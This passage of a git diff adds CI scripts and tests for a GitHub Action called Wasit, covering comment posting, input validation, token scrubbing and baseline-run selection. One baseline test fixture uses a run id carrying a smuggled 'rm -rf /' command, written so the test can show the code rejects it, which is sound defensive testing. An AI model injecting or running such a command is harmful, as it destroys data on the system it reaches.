Only a comment by github-actions[bot] that STARTS with the marker is Wasit's. + * Someone quoting the marker is not. + * - A pull request from a fork gets a read-only token, so it is not even tried: + * the result is in the job summary and in the job's result. + * - A 403 is logged and does not fail the job. No other failure of this step + * does either: the job's result is the exit code of `wasit run`, and the + * comment is not the verdict. + * + * The body is whatever `wasit ci-report` wrote. This script refuses a file that + * does not start with the marker, so it posts nothing else. + */ + +import { readFileSync } from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +import { COMMENT_MARKER } from "../../packages/core/dist/ci-report.js"; +import { REPOSITORY, oneLine, positiveInteger } from "./common.mjs"; +import { realGh } from "./gh.mjs"; + +/** The author of a comment made with the workflow's own token. */ +export const GITHUB_ACTIONS_BOT = "github-actions[bot]"; + +/** GitHub refuses a comment over 65,536 characters; core cuts at 60,000. */ +const MAX_BODY = 65_000; +const MAX_PAGES = 20; + +const sameName = (a, b) => typeof a === "string" && typeof b === "string" && a.toLowerCase() === b.toLowerCase(); + +/** + * True when the pull request comes from another repository, or when the event + * does not say where it comes from: the token is then read-only, or must be + * treated as if it were. + */ +export function isForkPullRequest(event) { + const head = event?.pull_request?.head?.repo?.full_name; + const base = event?.repository?.full_name; + return typeof head !== "string" || typeof base !== "string" || !sameName(head, base); +} + +/** The status gh printed for a failed call (`HTTP 403`), if any. */ +export function httpStatus(result) { + if (result.code === 0) return undefined; + const match = /\bHTTP (\d{3})\b/.exec(`${result.stderr}\n${result.stdout}`); + return match === null ? undefined : Number(match[1]); +} + +/** The comment Wasit wrote before: by the Actions bot, and starting with the marker. The oldest if there are several. */ +export function findOwnComment(comments, marker) { + return (Array.isArray(comments) ? comments : []) + .filter( + (comment) => + comment?.user?.login === GITHUB_ACTIONS_BOT && + comment.user.type === "Bot" && + typeof comment.body === "string" && + comment.body.startsWith(marker) && + Number.isSafeInteger(comment.id), + ) + .sort((a, b) => a.id - b.id)[0]; +} + +/** + * Creates the comment or updates the one Wasit wrote. Never throws. + * + * @returns {Promise<{ action: "created" | "updated" | "skipped", reason?: string }>} + */ +export async function upsertComment({ gh, repository, pullNumber, body, marker = COMMENT_MARKER, log = console.log }) { + const skip = (reason, line) => { + log(line); + return { action: "skipped", reason }; + }; + const number = positiveInteger(pullNumber); + if (typeof repository !== "string" || !REPOSITORY.test(repository) || number === undefined) { + return skip("invalid-input", "Wasit warning: no comment posted, the repository or the pull request number is not what a workflow gives."); + } + if (typeof body !== "string" || !body.startsWith(marker)) { + return skip("not-a-wasit-comment", "Wasit warning: no comment posted, the file does not start with the Wasit marker."); + } + if (body.length > MAX_BODY) return skip("too-long", "Wasit warning: no comment posted, it is longer than GitHub accepts. The job summary has the report."); + + /** Reports a failed call the way this step does, as a skip. */ + const failure = (what, result) => { + const status = httpStatus(result); + if (status === 403) { + return skip( + "forbidden", + `Wasit: GitHub answered 403 to ${what}. The token cannot write comments here (a pull request from a fork gets a read-only one), so no comment was posted. The result is in the job summary.`, + ); + } + return skip("error", `Wasit warning: could not ${what}: ${oneLine(result.stderr || result.stdout || "no answer")}`); + }; + + const comments = []; + for (let page = 1; page <= MAX_PAGES; page += 1) { + const result = await gh(["api", `repos/${repository}/issues/${number}/comments?per_page=100&page=${page}`]); + if (result.code !== 0) return failure("read the comments", result); + let batch; + try { + batch = JSON.parse(result.stdout); + } catch { + return skip("error", "Wasit warning: could not read the comments, GitHub did not answer with JSON."); + } + if (!Array.isArray(batch)) return skip("error", "Wasit warning: could not read the comments, GitHub did not answer with a list."); + comments.push(...batch); + if (batch.length < 100) break; + } + + const own = findOwnComment(comments, marker); + const input = JSON.stringify({ body }); + const write = + own === undefined + ? ["api", `repos/${repository}/issues/${number}/comments`, "--method", "POST", "-H", "Content-Type: application/json", "--input", "-"] + : ["api", `repos/${repository}/issues/comments/${own.id}`, "--method", "PATCH", "-H", "Content-Type: application/json", "--input", "-"]; + const result = await gh(write, { input }); + if (result.code !== 0) return failure(own === undefined ? "post the comment" : "update the comment", result); + + log(own === undefined ? "Wasit: comment posted on the pull request." : "Wasit: comment on the pull request updated."); + return { action: own === undefined ? "created" : "updated" }; +} + +/** + * The step. Reads the workflow's environment, and always exits 0. + * + * @param {Record} env + * @param {{ gh?: Function, log?: (line: string) => void }} deps + */ +export async function main(env = process.env, deps = {}) { + const log = deps.log ?? ((line) => console.log(line)); + try { + if (env["GITHUB_EVENT_NAME"] !== "pull_request") { + log("Wasit: not a pull request, so there is no comment to write."); + return 0; + } + let event; + try { + event = JSON.parse(readFileSync(env["GITHUB_EVENT_PATH"] ?? "", "utf-8")); + } catch { + log("Wasit warning: no comment posted, the event file cannot be read."); + return 0; + } + if (isForkPullRequest(event)) { + log( + "Wasit: this pull request is from a fork, so the token is read-only and no comment is posted. " + + "The result is in the job summary and in the result of this job.", + ); + return 0; + } + let body; + try { + body = readFileSync(env["WASIT_COMMENT_FILE"] ?? "", "utf-8"); + } catch { + log("Wasit warning: no comment posted, the report was not written."); + return 0; + } + await upsertComment({ + gh: deps.gh ?? realGh(env), + repository: env["GITHUB_REPOSITORY"], + pullNumber: event.pull_request?.number, + body, + log, + }); + } catch (error) { + log(`Wasit warning: the comment step failed: ${oneLine(error instanceof Error ? error.message : error)}`); + } + return 0; +} + +if (process.argv[1] !== undefined && fileURLToPath(import.meta.url) === path.resolve(process.argv[1])) { + process.exitCode = await main(process.env); +} diff --git a/action/scripts/common.mjs b/action/scripts/common.mjs new file mode 100644 index 0000000..b0da9d5 --- /dev/null +++ b/action/scripts/common.mjs @@ -0,0 +1,36 @@ +/** + * What the scripts that talk to GitHub share. They run after the install step, + * so they may use the built core: the sanitiser and the comment marker are the + * CLI's own, not copies. + */ + +import { sanitizeText } from "../../packages/core/dist/sanitize.js"; + +/** `owner/name`, as GitHub spells a repository. Nothing else is put into an API route. */ +export const REPOSITORY = /^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/; + +/** A whole number above zero, given as a number or as digits. */ +export function positiveInteger(value) { + const number = typeof value === "string" && /^\d{1,15}$/.test(value) ? Number(value) : value; + return Number.isSafeInteger(number) && number > 0 ? number : undefined; +} + +/** + * One line of text that came from GitHub or from gh, safe to print in a job log: + * control characters out, a leading `::` broken, cut to `max`. + */ +export function oneLine(text, max = 200) { + const line = sanitizeText(String(text)).replace(/\s+/g, " ").trim(); + return line.length > max ? `${line.slice(0, max - 1)}…` : line; +} + +/** Runs `gh api ` and returns the parsed JSON, or throws an Error whose message is safe to print. */ +export async function api(gh, route) { + const result = await gh(["api", route]); + if (result.code !== 0) throw new Error(`gh api ${oneLine(route, 80)} failed: ${oneLine(result.stderr || result.stdout)}`); + try { + return JSON.parse(result.stdout); + } catch { + throw new Error(`gh api ${oneLine(route, 80)} did not answer with JSON`); + } +} diff --git a/action/scripts/gh.mjs b/action/scripts/gh.mjs new file mode 100644 index 0000000..86db2bd --- /dev/null +++ b/action/scripts/gh.mjs @@ -0,0 +1,39 @@ +/** + * The real `gh`: the GitHub CLI that the runner has. The scripts take it as an + * argument, so the tests give them a fake and nothing here runs offline. + */ + +import { spawn } from "node:child_process"; + +const TIMEOUT_MS = 60_000; +const MAX_OUTPUT = 10 * 1024 * 1024; + +/** + * @param {Record} env the environment gh runs in (GH_TOKEN is read from it) + * @returns {(args: string[], options?: { input?: string }) => Promise<{ code: number, stdout: string, stderr: string }>} + */ +export function realGh(env = process.env) { + return (args, options = {}) => + new Promise((resolve) => { + const child = spawn("gh", args, { env, stdio: ["pipe", "pipe", "pipe"] }); + let stdout = ""; + let stderr = ""; + const timer = setTimeout(() => child.kill("SIGKILL"), TIMEOUT_MS); + child.stdout.on("data", (chunk) => { + if (stdout.length < MAX_OUTPUT) stdout += chunk; + }); + child.stderr.on("data", (chunk) => { + if (stderr.length < MAX_OUTPUT) stderr += chunk; + }); + child.on("error", (error) => { + clearTimeout(timer); + resolve({ code: 127, stdout: "", stderr: `could not run gh: ${error.message}` }); + }); + child.on("close", (code) => { + clearTimeout(timer); + resolve({ code: code ?? 1, stdout, stderr }); + }); + child.stdin.on("error", () => undefined); + child.stdin.end(options.input ?? ""); + }); +} diff --git a/action/scripts/inputs.mjs b/action/scripts/inputs.mjs new file mode 100644 index 0000000..9373304 --- /dev/null +++ b/action/scripts/inputs.mjs @@ -0,0 +1,146 @@ +/** + * The inputs of the Action and the command lines built from them. + * + * Nothing here imports Wasit: this file runs in the step that checks the inputs, + * before the install step has built anything. Every value reaches the CLI as one + * element of an argument list, never as text for a shell, and a value that is + * not a plain name is refused without being printed back. + */ + +/** A name of an endpoint or an environment, as the config loader allows (packages/core/src/config.ts). */ +const NAME = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/; +const MAX_ENDPOINTS = 50; +const MAX_CONFIG_PATH = 300; +const DEFAULT_CONFIG = "wasit.config.json"; + +/** The inputs are wrong. The message says which input and what is allowed, and never quotes the value. */ +export class InputError extends Error { + constructor(message) { + super(message); + this.name = "InputError"; + } +} + +function trimmed(value) { + return typeof value === "string" ? value.trim() : ""; +} + +/** + * Reads and checks the inputs from the step's environment (`INPUT_CONFIG`, + * `INPUT_ENVIRONMENT`, `INPUT_TIER`, `INPUT_ENDPOINTS`, and the event name). + * + * @param {Record} env + * @returns {{ config: string, environment: string | undefined, tier: "read-only", endpoints: string[] }} + */ +export function parseInputs(env) { + // pull_request_target hands the base repository's token and secrets to a workflow that runs a pull request's code. + if (env["GITHUB_EVENT_NAME"] === "pull_request_target") { + throw new InputError( + "this action does not run on pull_request_target: it would give the code of a pull request the token and the secrets of the base repository. Use pull_request.", + ); + } + + const tier = trimmed(env["INPUT_TIER"]) || "read-only"; + if (tier === "payment") throw new InputError("tier: payment is not available in this version. Use tier: read-only."); + if (tier !== "read-only") throw new InputError("tier must be read-only."); + + const config = trimmed(env["INPUT_CONFIG"]) || DEFAULT_CONFIG; + if (/[\u0000-\u001f\u007f]/.test(config) || config.length > MAX_CONFIG_PATH || config.startsWith("-")) { + throw new InputError(`config must be a file path of at most ${MAX_CONFIG_PATH} characters, with no control character, that does not start with a hyphen.`); + } + + const environment = trimmed(env["INPUT_ENVIRONMENT"]); + if (environment !== "" && !NAME.test(environment)) { + throw new InputError("environment must be a name: letters, digits, dot, underscore and hyphen, at most 64 characters."); + } + + const endpoints = [ + ...new Set( + trimmed(env["INPUT_ENDPOINTS"]) + .split(/[\n,]/) + .map((entry) => entry.trim()) + .filter((entry) => entry !== ""), + ), + ]; + if (endpoints.length > MAX_ENDPOINTS) throw new InputError(`endpoints lists more than ${MAX_ENDPOINTS} names.`); + if (endpoints.some((entry) => !NAME.test(entry))) { + throw new InputError("each entry of endpoints must be a name: letters, digits, dot, underscore and hyphen, at most 64 characters; separate them with commas or line breaks."); + } + + return { config, environment: environment === "" ? undefined : environment, tier: "read-only", endpoints }; +} + +/** + * The one call that runs Wasit: `wasit run --read-only --start-if-local --json --out`: the CLI starts service.start only when it is set and the environment is on this machine. + * No flag that pays, signs or opts into mainnet is offered by this version. + * + * @param {ReturnType} inputs + * @param {{ cli: string, report: string, baseline?: string }} paths + * @returns {string[]} the arguments after `node` + */ +export function buildRunArgs(inputs, paths) { + return [ + paths.cli, + "run", + "--read-only", + "--start-if-local", + "--json", + "--out", + paths.report, + ...(paths.baseline === undefined || paths.baseline === "" ? [] : ["--baseline", paths.baseline]), + "--config", + inputs.config, + ...(inputs.environment === undefined ? [] : ["--env", inputs.environment]), + ...inputs.endpoints.flatMap((name) => ["--endpoint", name]), + ]; +} + +/** + * The call that turns the report into the comment, the summary and the next baseline. + * + * @param {{ cli: string, report: string, comment: string, baselineOut: string, baseline?: string }} paths + * @returns {string[]} + */ +export function buildReportArgs(paths) { + return [ + paths.cli, + "ci-report", + "--report", + paths.report, + "--comment", + paths.comment, + "--baseline-out", + paths.baselineOut, + ...(paths.baseline === undefined || paths.baseline === "" ? [] : ["--baseline", paths.baseline]), + ]; +} + +/** + * The variables that carry the job's token. The steps that run Wasit are not + * given them, and the wrapper takes them out of the environment it hands the CLI + * all the same: the service the CLI starts runs code from the pull request. + */ +export const TOKEN_VARIABLES = Object.freeze([ + "GH_TOKEN", + "GITHUB_TOKEN", + "ACTIONS_RUNTIME_TOKEN", + "ACTIONS_ID_TOKEN_REQUEST_TOKEN", + "ACTIONS_ID_TOKEN_REQUEST_URL", +]); + +/** + * A copy of `env` without the job's token variables and the runner's own + * `ACTIONS_` ones (the cache and the OIDC endpoints). Names are compared in upper case. + * + * @param {Record} env + * @returns {Record} + */ +export function scrubTokens(env) { + const clean = {}; + for (const [name, value] of Object.entries(env)) { + const upper = name.toUpperCase(); + if (value === undefined || upper === "GH_TOKEN" || upper === "GITHUB_TOKEN" || upper.startsWith("ACTIONS_")) continue; + clean[name] = value; + } + return clean; +} diff --git a/action/scripts/wasit.mjs b/action/scripts/wasit.mjs new file mode 100644 index 0000000..772bccf --- /dev/null +++ b/action/scripts/wasit.mjs @@ -0,0 +1,108 @@ +/** + * The steps of the Action that run Wasit: `check` the inputs, `run` the CLI, + * `report` (the comment, the summary and the next baseline). + * + * The Action is a thin wrapper. Every decision (the verdict, the exit code, what + * the comment says, how the baseline is read) is the CLI's, which is unit-tested + * offline. This file builds the command line, takes the job's token out of the + * environment it passes on, and returns the CLI's exit code unchanged. + * + * Plain ES module: no build. Needs Node 22 or later, which the first step of the + * Action checks. Imports nothing from Wasit, so `check` can run before the install. + */ + +import { spawn } from "node:child_process"; +import { existsSync, mkdirSync, statSync } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +import { InputError, buildReportArgs, buildRunArgs, parseInputs, scrubTokens } from "./inputs.mjs"; + +const SIGNALS = ["SIGINT", "SIGTERM", "SIGHUP"]; + +/** The directory of this Action's files in the runner's temp directory. Never inside the checkout. */ +function workDirectory(env) { + const temp = env["RUNNER_TEMP"]; + if (typeof temp !== "string" || !path.isAbsolute(temp)) throw new InputError("RUNNER_TEMP is not set: this script runs as a step of a workflow."); + return path.join(temp, "wasit"); +} + +/** The CLI, in the checkout this Action was fetched in: the Wasit repository root is the parent of action/. */ +function cliPath(env) { + const actionPath = env["ACTION_PATH"]; + if (typeof actionPath !== "string" || actionPath === "") throw new InputError("ACTION_PATH is not set: this script runs as a step of the Action."); + return path.resolve(actionPath, "..", "packages", "cli", "dist", "index.js"); +} + +/** The baseline file the earlier step downloaded, if it is a file inside the work directory. Anything else is ignored. */ +function baselineFile(env, work) { + const given = env["BASELINE_PATH"]; + if (typeof given !== "string" || given === "") return undefined; + const resolved = path.resolve(given); + if (!resolved.startsWith(`${work}${path.sep}`)) return undefined; + try { + return statSync(resolved).isFile() ? resolved : undefined; + } catch { + return undefined; + } +} + +/** Runs the CLI with `args`, passes signals on to it, and resolves to its exit code. */ +function runCli(args, env) { + return new Promise((resolve) => { + const child = spawn(process.execPath, args, { env: scrubTokens(env), stdio: "inherit" }); + const forward = (signal) => child.kill(signal); + for (const signal of SIGNALS) process.on(signal, forward); + const finish = (code) => { + for (const signal of SIGNALS) process.removeListener(signal, forward); + resolve(code); + }; + child.on("error", () => finish(2)); + child.on("close", (code, signal) => finish(code ?? 128 + (signal === null ? 0 : (os.constants.signals[signal] ?? 0)))); + }); +} + +/** + * @param {string} command `check`, `run` or `report` + * @param {Record} env the environment of the step + * @param {{ stdout?: (line: string) => void, stderr?: (line: string) => void }} io + * @returns {Promise} the exit code of the step + */ +export async function main(command, env = process.env, io = {}) { + const stderr = io.stderr ?? ((line) => console.error(line)); + try { + if (command === "check") { + parseInputs(env); + mkdirSync(workDirectory(env), { recursive: true }); + return 0; + } + + if (command === "run" || command === "report") { + const work = workDirectory(env); + const cli = cliPath(env); + if (!existsSync(cli)) throw new InputError("the Wasit CLI is not built where this action was fetched: the install step did not run."); + const paths = { + cli, + report: path.join(work, "report.json"), + comment: path.join(work, "comment.md"), + baselineOut: path.join(work, "baseline-next.json"), + baseline: baselineFile(env, work), + }; + const args = command === "run" ? buildRunArgs(parseInputs(env), paths) : buildReportArgs(paths); + return await runCli(args, env); + } + + throw new InputError("unknown command: expected check, run or report."); + } catch (error) { + if (error instanceof InputError) { + stderr(`Wasit: ${error.message}`); + return 2; + } + throw error; + } +} + +if (process.argv[1] !== undefined && fileURLToPath(import.meta.url) === path.resolve(process.argv[1])) { + process.exitCode = await main(process.argv[2] ?? "", process.env); +} diff --git a/action/test/action-yaml.test.mjs b/action/test/action-yaml.test.mjs new file mode 100644 index 0000000..22d4cd8 --- /dev/null +++ b/action/test/action-yaml.test.mjs @@ -0,0 +1,262 @@ +/** + * The shape of `action/action.yml` and of the template workflow (spec A4, A8 #1, + * #8, the attack findings A-A02 and A-A07), held by a YAML parser. + * + * This is the only check of the YAML that can run here: there is no runner and + * no `act`, so a real workflow run is "not yet run". What these tests hold is + * what a reviewer would look for first: where the token goes, that no input + * becomes shell text, that the steps after the run always run, and that the + * template asks for no more than it needs. + */ + +import assert from "node:assert/strict"; +import { existsSync, readFileSync } from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { describe, it } from "node:test"; + +import { parse } from "yaml"; + +const ACTION_DIR = fileURLToPath(new URL("..", import.meta.url)); +const read = (file) => readFileSync(path.join(ACTION_DIR, file), "utf-8"); + +const action = parse(read("action.yml")); +const steps = action.runs.steps; +const stepByName = (name) => { + const step = steps.find((candidate) => candidate.name === name); + assert.ok(step !== undefined, `a step named ${name}`); + return step; +}; +const index = (name) => steps.indexOf(stepByName(name)); + +describe("action.yml", () => { + it("is a composite action with a name, a description and the four inputs", () => { + assert.equal(action.runs.using, "composite"); + assert.ok(typeof action.name === "string" && action.name.length > 0); + assert.ok(typeof action.description === "string" && action.description.length > 0); + assert.deepEqual(Object.keys(action.inputs).sort(), ["config", "endpoints", "environment", "tier"]); + assert.equal(action.inputs.config.default, "wasit.config.json"); + assert.equal(action.inputs.tier.default, "read-only"); + for (const [name, input] of Object.entries(action.inputs)) assert.ok(typeof input.description === "string" && input.description.length > 0, name); + assert.match(action.inputs.tier.description, /payment.*not available in this version/i); + }); + + it("offers no input that pays, signs or opts into mainnet", () => { + assert.ok(!Object.keys(action.inputs).some((name) => /key|secret|mainnet|dry|destructive|payer/i.test(name))); + }); + + it("gives every step a name, and a shell to every step that runs a command", () => { + for (const step of steps) { + assert.ok(typeof step.name === "string" && step.name.length > 0, JSON.stringify(step).slice(0, 60)); + if (step.run !== undefined) assert.equal(step.shell, "bash", step.name); + } + }); + + describe("no script injection (A-A02)", () => { + it("has no expression inside a run block: inputs and event data reach a script only through env", () => { + for (const step of steps) { + if (step.run === undefined) continue; + assert.ok(!step.run.includes("${{"), `${step.name}: ${step.run}`); + } + }); + + it("passes the inputs to the scripts through env variables", () => { + const env = stepByName("Run Wasit").env; + assert.equal(env.INPUT_CONFIG, "${{ inputs.config }}"); + assert.equal(env.INPUT_ENVIRONMENT, "${{ inputs.environment }}"); + assert.equal(env.INPUT_ENDPOINTS, "${{ inputs.endpoints }}"); + assert.equal(env.INPUT_TIER, "${{ inputs.tier }}"); + }); + + it("finds its own files with github.action_path, so it works from any checkout of the repository", () => { + for (const step of steps) { + if (step.run === undefined || !/scripts\/|packages\//.test(step.run)) continue; + assert.equal(step.env?.ACTION_PATH, "${{ github.action_path }}", step.name); + assert.ok(/"\$ACTION_PATH[/"]/.test(step.run), `${step.name} uses "$ACTION_PATH"`); + } + }); + + it("quotes every use of a variable that holds a path", () => { + for (const step of steps) { + if (step.run === undefined) continue; + assert.ok(!/(^|[^"{])\$(ACTION_PATH|RUNNER_TEMP)\b/.test(step.run.replace(/"\$(ACTION_PATH|RUNNER_TEMP)[^"]*"/g, "")), step.name); + } + }); + }); + + describe("the token (A-A02, A-A07)", () => { + const text = read("action.yml"); + + it("has no env at the level of the whole action", () => { + assert.equal(action.env, undefined); + assert.equal(action.runs.env, undefined); + }); + + it("is passed as GH_TOKEN, as github.token, to the steps that call gh and to no other", () => { + const withToken = steps.filter((step) => step.env !== undefined && Object.keys(step.env).some((key) => /token/i.test(key))); + assert.deepEqual(withToken.map((step) => step.name).sort(), ["Comment on the pull request", "Find the baseline"]); + for (const step of withToken) { + assert.deepEqual(Object.keys(step.env).filter((key) => /token/i.test(key)), ["GH_TOKEN"], step.name); + assert.equal(step.env.GH_TOKEN, "${{ github.token }}", step.name); + } + }); + + it("never reaches the step that runs the service, nor the install, the report or the checks", () => { + for (const name of ["Check the runner", "Check the inputs", "Install Wasit", "Run Wasit", "Write the report"]) { + const step = stepByName(name); + assert.ok(!JSON.stringify(step).match(/token|secret|password/i), name); + } + }); + + it("refers to no secret and no token by any other name", () => { + assert.ok(!/secrets\./i.test(text)); + assert.ok(!/GITHUB_TOKEN/.test(text)); + assert.equal((text.match(/github\.token/g) ?? []).length, 2); + }); + }); + + describe("the order, and what always runs (A8 #8)", () => { + it("checks the runner and the inputs before it installs anything", () => { + assert.ok(index("Check the runner") < index("Check the inputs")); + assert.ok(index("Check the inputs") < index("Install Wasit")); + assert.ok(index("Install Wasit") < index("Run Wasit")); + }); + + it("finds the baseline before the run, and writes the report, the comment and the upload after it", () => { + assert.ok(index("Find the baseline") < index("Run Wasit")); + for (const name of ["Write the report", "Comment on the pull request", "Upload the baseline"]) assert.ok(index("Run Wasit") < index(name), name); + assert.ok(index("Write the report") < index("Comment on the pull request")); + }); + + it("lets the run step fail the job as it is: no continue-on-error, no condition", () => { + const run = stepByName("Run Wasit"); + assert.equal(run["continue-on-error"], undefined); + assert.equal(run.if, undefined); + assert.equal(run.id, "run"); + }); + + it("runs the steps after the run whether it passed or failed, but not when it never started", () => { + for (const name of ["Write the report", "Comment on the pull request", "Upload the baseline"]) { + const condition = stepByName(name).if; + assert.match(condition, /always\(\)/, name); + assert.match(condition, /steps\.run\.conclusion != 'skipped'/, name); + } + }); + + it("lets the baseline step and the comment step never fail the job", () => { + // Their scripts exit 0 whatever gh answers; the job's result is the run's exit code. + assert.ok(stepByName("Find the baseline").run.includes("baseline.mjs")); + assert.ok(stepByName("Comment on the pull request").run.includes("comment.mjs")); + }); + }); + + describe("what the steps do", () => { + it("checks for Linux and for Node 22 or later, and installs no Node", () => { + const run = stepByName("Check the runner").run; + assert.match(run, /RUNNER_OS/); + assert.match(run, /Linux/); + assert.match(run, /22/); + assert.match(run, /actions\/setup-node/); + assert.ok(!steps.some((step) => /setup-node/.test(step.uses ?? ""))); + }); + + it("installs from the action's own checkout: npm ci --ignore-scripts, then the three builds in dependency order", () => { + const run = stepByName("Install Wasit").run; + assert.match(run, /npm ci --ignore-scripts/); + const builds = [...run.matchAll(/npm run build -w packages\/(\w+)/g)].map((match) => match[1]); + assert.deepEqual(builds, ["core", "cli", "server"]); + assert.match(run, /cd "\$ACTION_PATH\/\.\."/); + }); + + it("runs the CLI through one script, and the report through the same", () => { + assert.match(stepByName("Run Wasit").run, /scripts\/wasit\.mjs" run\b/); + assert.match(stepByName("Write the report").run, /scripts\/wasit\.mjs" report\b/); + assert.match(stepByName("Check the inputs").run, /scripts\/wasit\.mjs" check\b/); + }); + + it("gives the run step the baseline the earlier step found, as env", () => { + assert.equal(stepByName("Run Wasit").env.BASELINE_PATH, "${{ steps.baseline.outputs.path }}"); + assert.equal(stepByName("Write the report").env.BASELINE_PATH, "${{ steps.baseline.outputs.path }}"); + }); + + it("uploads the baseline only on a push to the default branch", () => { + const upload = stepByName("Upload the baseline"); + assert.match(upload.if, /github\.event_name == 'push'/); + assert.match(upload.if, /github\.ref == format\('refs\/heads\/\{0\}', github\.event\.repository\.default_branch\)/); + assert.equal(upload.with.name, "wasit-baseline"); + }); + + it("comments only on a pull request", () => { + assert.match(stepByName("Comment on the pull request").if, /github\.event_name == 'pull_request'/); + }); + + it("references every script it runs, and every one of them exists", () => { + const scripts = new Set(steps.flatMap((step) => [...(step.run ?? "").matchAll(/scripts\/([\w-]+\.mjs)/g)].map((match) => match[1]))); + assert.ok(scripts.size >= 3); + for (const script of scripts) assert.ok(existsSync(path.join(ACTION_DIR, "scripts", script)), script); + }); + }); + + describe("third-party actions", () => { + const used = steps.filter((step) => step.uses !== undefined).map((step) => step.uses); + + it("uses only actions/upload-artifact, on a version tag", () => { + assert.deepEqual(used, ["actions/upload-artifact@v4"]); + }); + + it("never names a branch or an invented commit", () => { + for (const reference of used) assert.match(reference, /@(v\d+|[0-9a-f]{40})$/); + }); + }); +}); + +describe("the template workflow for builders", () => { + const text = read("examples/wasit.yml"); + const workflow = parse(text); + + it("asks for contents: read, pull-requests: write and actions: read, and nothing else", () => { + assert.deepEqual(workflow.permissions, { contents: "read", "pull-requests": "write", actions: "read" }); + }); + + it("never uses pull_request_target, not even in a comment that could be copied", () => { + assert.ok(!/pull_request_target/.test(text.replace(/#.*$/gm, ""))); + assert.ok(!Object.keys(workflow.on).includes("pull_request_target")); + }); + + it("runs on pull requests and on pushes to main", () => { + assert.ok("pull_request" in workflow.on); + assert.deepEqual(workflow.on.push.branches, ["main"]); + }); + + it("names its job Wasit: the job is the check on the pull request", () => { + const jobs = Object.values(workflow.jobs); + assert.equal(jobs.length, 1); + assert.equal(jobs[0].name, "Wasit"); + assert.equal(jobs[0]["runs-on"], "ubuntu-latest"); + }); + + it("checks out without keeping the token in .git/config, installs Node 22, then calls the Action", () => { + const [job] = Object.values(workflow.jobs); + const uses = job.steps.map((step) => step.uses); + assert.equal(uses[0], "actions/checkout@v4"); + assert.equal(job.steps[0].with["persist-credentials"], false); + assert.equal(uses[1], "actions/setup-node@v4"); + assert.equal(String(job.steps[1].with["node-version"]), "22"); + assert.match(uses[2], /^wasit-dev\/wasit\/action@/); + }); + + it("does not invent a version of the Action: it has a placeholder to replace, not a branch or a made-up commit", () => { + const reference = Object.values(workflow.jobs)[0].steps.at(-1).uses; + assert.equal(reference, "wasit-dev/wasit/action@"); + assert.match(text, /replace .*/i); + }); + + it("has no expression inside a run block", () => { + for (const job of Object.values(workflow.jobs)) for (const step of job.steps) if (step.run !== undefined) assert.ok(!step.run.includes("${{")); + }); + + it("passes no secret to the Action by default, and says where a header value would go", () => { + assert.ok(!/secrets\./.test(text.replace(/#.*$/gm, "")), "no secret is used in the template as it stands"); + assert.match(text, /WASIT_HEADER_/); + }); +}); diff --git a/action/test/baseline.test.mjs b/action/test/baseline.test.mjs new file mode 100644 index 0000000..68c2779 --- /dev/null +++ b/action/test/baseline.test.mjs @@ -0,0 +1,293 @@ +/** + * Choosing the baseline (spec A5, A8 #4, A-A05): pick the RUN first, then take + * that run's `wasit-baseline` artifact by run id. The run is the latest + * successful `push` run of this workflow on the default branch, from this + * repository. Never "the newest artifact with that name": a pull request run, + * a fork's run or a run on a branch called main in a fork can upload an artifact + * with that name, and none of them may become the baseline. + * + * The content of the file is not read here: the CLI validates it (core, `readBaseline`). + * The `gh` call is injected; nothing touches the network or a token. + */ + +import assert from "node:assert/strict"; +import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { after, before, describe, it } from "node:test"; + +import { ACCEPTED_CONCLUSIONS, BASELINE_ARTIFACT, findBaseline, main, selectBaselineRun } from "../scripts/baseline.mjs"; + +const REPOSITORY = "acme/paywall"; +const CONTEXT = { repository: REPOSITORY, defaultBranch: "main", workflowId: 4242, currentRunId: 900 }; + +function run(overrides = {}) { + return { + id: 100, + workflow_id: 4242, + event: "push", + status: "completed", + conclusion: "success", + head_branch: "main", + head_repository: { full_name: REPOSITORY }, + repository: { full_name: REPOSITORY }, + created_at: "2026-11-10T10:00:00Z", + ...overrides, + }; +} + +describe("selectBaselineRun", () => { + it("takes the newest successful push run on the default branch of this repository", () => { + const chosen = selectBaselineRun( + [run({ id: 1, created_at: "2026-11-01T00:00:00Z" }), run({ id: 3, created_at: "2026-11-12T00:00:00Z" }), run({ id: 2, created_at: "2026-11-05T00:00:00Z" })], + CONTEXT, + ); + assert.equal(chosen?.id, 3); + }); + + it("breaks a tie in time by the higher run id", () => { + assert.equal(selectBaselineRun([run({ id: 5 }), run({ id: 6 })], CONTEXT)?.id, 6); + }); + + it("is undefined when there is nothing to choose", () => { + assert.equal(selectBaselineRun([], CONTEXT), undefined); + assert.equal(selectBaselineRun(undefined, CONTEXT), undefined); + }); + + describe("a run that is not a baseline, however new it is", () => { + const old = run({ id: 1, created_at: "2026-11-01T00:00:00Z" }); + const newer = { created_at: "2026-11-14T00:00:00Z" }; + const cases = { + "a pull request run (even one from a branch called main)": run({ ...newer, id: 2, event: "pull_request" }), + "a pull request run whose head repository is a fork": run({ ...newer, id: 3, event: "pull_request", head_repository: { full_name: "mallory/paywall" } }), + "a push run whose head repository is another one": run({ ...newer, id: 4, head_repository: { full_name: "mallory/paywall" } }), + "a run of another repository": run({ ...newer, id: 5, repository: { full_name: "mallory/paywall" } }), + "a workflow_dispatch run": run({ ...newer, id: 6, event: "workflow_dispatch" }), + "a schedule run": run({ ...newer, id: 7, event: "schedule" }), + "a run on another branch": run({ ...newer, id: 8, head_branch: "feature" }), + "a run on a branch whose name only starts with main": run({ ...newer, id: 9, head_branch: "main-evil" }), + "a failed run": run({ ...newer, id: 10, conclusion: "failure" }), + "a cancelled run": run({ ...newer, id: 11, conclusion: "cancelled" }), + "a run that is not finished": run({ ...newer, id: 12, status: "in_progress", conclusion: null }), + "a run of another workflow": run({ ...newer, id: 13, workflow_id: 7 }), + "the run that is running now": run({ ...newer, id: 900 }), + "a run with no head repository": run({ ...newer, id: 14, head_repository: null }), + "a run whose id is not a whole number": run({ ...newer, id: "15; rm -rf /" }), + }; + for (const [label, forged] of Object.entries(cases)) { + it(`ignores ${label}`, () => { + assert.equal(selectBaselineRun([forged, old], CONTEXT)?.id, 1); + }); + } + + it("is undefined when only such runs are there", () => { + assert.equal(selectBaselineRun(Object.values(cases), 